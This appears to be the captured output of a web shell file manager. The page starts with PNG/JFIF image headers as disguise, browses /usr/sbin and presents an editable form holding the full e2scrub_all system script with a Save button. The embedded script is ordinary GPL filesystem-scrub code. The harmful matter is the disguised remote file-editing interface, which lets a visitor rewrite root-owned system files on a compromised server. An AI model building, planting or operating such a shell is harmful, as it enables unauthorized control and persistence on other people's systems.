�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fsbin%2F'>sbin</a>/</p><hr><h3>✏️ Editing: e2scrub_all</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/bash

#  Copyright (C) 2018 Oracle.  All Rights Reserved.
#
#  Author: Darrick J. Wong &lt;darrick.wong@oracle.com&gt;
#
#  This program is free software; you can redistribute it and/or
#  modify it under the terms of the GNU General Public License
#  as published by the Free Software Foundation; either version 2
#  of the License, or (at your option) any later version.
#
#  This program is distributed in the hope that it would be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program; if not, write the Free Software Foundation,
#  Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301, USA.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

if (( $EUID != 0 )); then
    echo &quot;e2scrub_all must be run as root&quot;
    exit 1
fi

periodic_e2scrub=0
scrub_all=0
snap_size_mb=256
reap=0
conffile=&quot;/etc/e2scrub.conf&quot;

test -f &quot;${conffile}&quot; &amp;&amp; . &quot;${conffile}&quot;

scrub_args=&quot;&quot;

print_help() {
	echo &quot;Usage: $0 [OPTIONS]&quot;
	echo &quot; -n: Show what commands e2scrub_all would execute.&quot;
	echo &quot; -r: Remove e2scrub snapshots.&quot;
	echo &quot; -A: Scrub all ext[234] filesystems even if not mounted.&quot;
	echo &quot; -V: Print version information and exit.&quot;
}

print_version() {
	echo &quot;e2scrub_all 1.47.1 (20-May-2024)&quot;
}

exitcode() {
	ret=&quot;$1&quot;

	# If we&#039;re being run as a service, the return code must fit the LSB
	# init script action error guidelines, which is to say that we
	# compress all errors to 1 (&quot;generic or unspecified error&quot;, LSB 5.0
	# section 22.2) and hope the admin will scan the log for what
	# actually happened.

	if [ -n &quot;${SERVICE_MODE}&quot; -a &quot;${ret}&quot; -ne 0 ]; then
		test &quot;${ret}&quot; -ne 0 &amp;&amp; ret=1
	fi

	exit &quot;${ret}&quot;
}

while getopts &quot;nrAV&quot; opt; do
	case &quot;${opt}&quot; in
	&quot;n&quot;) DBG=&quot;echo Would execute: &quot; ;;
	&quot;r&quot;) scrub_args=&quot;${scrub_args} -r&quot;; reap=1;;
	&quot;A&quot;) scrub_all=1;;
	&quot;V&quot;) print_version; exitcode 0;;
	*) print_help; exitcode 2;;
	esac
done
shift &quot;$((OPTIND - 1))&quot;

# If we&#039;re in service mode and the service is not enabled via config file...
if [ -n &quot;${SERVICE_MODE}&quot; -a &quot;${periodic_e2scrub}&quot; -ne 1 ]; then
	# ...don&#039;t start e2scrub processes.
	if [ &quot;${reap}&quot; -eq 0 ]; then
		exitcode 0
	fi

	# ...and if we don&#039;t see any leftover e2scrub snapshots, don&#039;t
	# run the reaping process either, because lvs can be slow.
	if ! readlink -q -s -e /dev/mapper/*.e2scrub* &gt; /dev/null; then
		exitcode 0
	fi
fi

# close file descriptor 3 (from cron) since it causes lvm to kvetch
exec 3&lt;&amp;-

# If some prerequisite packages are not installed, exit with a code
# indicating success to avoid spamming the sysadmin with fail messages
# when e2scrub_all is run out of cron or a systemd timer.

if ! type mapfile &gt;&amp; /dev/null ; then
    test -n &quot;${SERVICE_MODE}&quot; &amp;&amp; exitcode 0
    echo &quot;e2scrub_all: can&#039;t find mapfile --- is bash 4.xx installed?&quot;
    exitcode 1
fi

if ! type lsblk &gt;&amp; /dev/null ; then
    test -n &quot;${SERVICE_MODE}&quot; &amp;&amp; exitcode 0
    echo &quot;e2scrub_all: can&#039;t find lsblk --- is util-linux installed?&quot;
    exitcode 1
fi

if ! type lvcreate &gt;&amp; /dev/null ; then
    test -n &quot;${SERVICE_MODE}&quot; &amp;&amp; exitcode 0
    echo &quot;e2scrub_all: can&#039;t find lvcreate --- is lvm2 installed?&quot;
    exitcode 1
fi

# Find scrub targets, make sure we only do this once.
ls_scan_targets() {
    local devices=$(lvs -o lv_path --noheadings -S &quot;lv_active=active,lv_role=public,lv_role!=snapshot,vg_free&gt;=${snap_size_mb}&quot;)

    if [ -z &quot;$devices&quot; ]; then
	return 0;
    fi
    lsblk -o NAME,MOUNTPOINT,FSTYPE,TYPE -P -n -p $devices | \
	grep FSTYPE=\&quot;ext\[234\]\&quot; | grep TYPE=\&quot;lvm\&quot; | \
	while read vars ; do
		eval &quot;${vars}&quot;

		# Skip unjournalled filesystems; they are inconsistent when
		# mounted
		dumpe2fs -h &quot;${NAME}&quot; | grep -q &#039;has_journal&#039; || continue

		if [ &quot;${scrub_all}&quot; -eq 1 ] || [ -n &quot;${MOUNTPOINT}&quot; ]; then
		    echo ${MOUNTPOINT:-${NAME}}
		fi
	done
}

# Find leftover scrub snapshots
ls_reap_targets() {
    lvs -o lv_path -S lv_role=snapshot -S lv_name=~\(e2scrub$\) \
	--noheadings | sed -e &#039;s/.e2scrub$//&#039;
}

# Figure out what we&#039;re targeting
ls_targets() {
	if [ &quot;${reap}&quot; -eq 1 ]; then
		ls_reap_targets
	else
		ls_scan_targets
	fi
}

# Turn our mount path into a service name that systemd will recognize
escape_path_for_systemd() {
	local path=&quot;$1&quot;
	systemd-escape --template &#039;e2scrub@.service&#039; --path &quot;${path}&quot;
}

# Scrub any mounted fs on lvm by creating a snapshot and fscking that.
mapfile -t targets &lt; &lt;(ls_targets)
for tgt in &quot;${targets[@]}&quot;; do
	# If we&#039;re not reaping and systemd is present, try invoking the
	# systemd service.
	if [ &quot;${reap}&quot; -ne 1 ] &amp;&amp; [ -e /run/systemd/system ]; then
		svcname=&quot;$(escape_path_for_systemd &quot;${tgt}&quot;)&quot;
		${DBG} systemctl start &quot;${svcname}&quot; 2&gt; /dev/null
		res=$?
		if [ &quot;${res}&quot; -eq 0 ] || [ &quot;${res}&quot; -eq 1 ]; then
			continue;
		fi
	fi

	# Otherwise use direct invocation
	${DBG} &quot;/usr/sbin/e2scrub&quot; ${scrub_args} &quot;${tgt}&quot;
done

exitcode 0
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fsbin'>🔙 Back</a></p>